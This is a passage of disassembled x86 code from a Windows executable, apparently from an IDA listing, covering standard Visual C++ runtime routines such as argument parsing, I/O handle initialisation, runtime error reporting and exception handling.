loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx


loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410


loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D


loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------


loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]


loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]


loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------


loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi


loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0


loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 25E0A45h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------


loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565


loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6


loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509


loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB


loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx


loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]


loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 25E0CB0h
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6


loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		call	near ptr 25E0A45h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6


loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A


loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580


loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch


loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		nop
		call	near ptr 25E0D24h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax


loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx


loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_48B340, esi
		mov	dword_48B440, 20h
		lea	eax, [esi+100h]


loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2830000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax


loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344


loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------


loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_48B440


loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF


loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_41F6E6


loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9


loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx


loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------


loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 25E0741h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741


loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h


loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_48B440
		nop
		call	near ptr 25E0989h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_439594, 1
		jnz	short locret_41F884


loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax


loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28


loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898


loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_439594, 1
		jz	loc_41F9AF


loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h


loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------


loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 25E0741h
		push	eax
		call	near ptr 2640000h
		nop


loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------


loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------


loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi


loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_48B320, eax


loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx


loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8


loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8


loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9


loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_48A054, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_48A0B8
		call	near ptr 27C0000h
		nop
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61


loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh


loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25C06C4h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------


loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax


loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_48A1DC, eax


loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_48A0A8


loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25D0000h
		nop
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2620000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2620000h
		nop
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25C06C4h
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax


loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340


loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]


loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B


loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------


loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



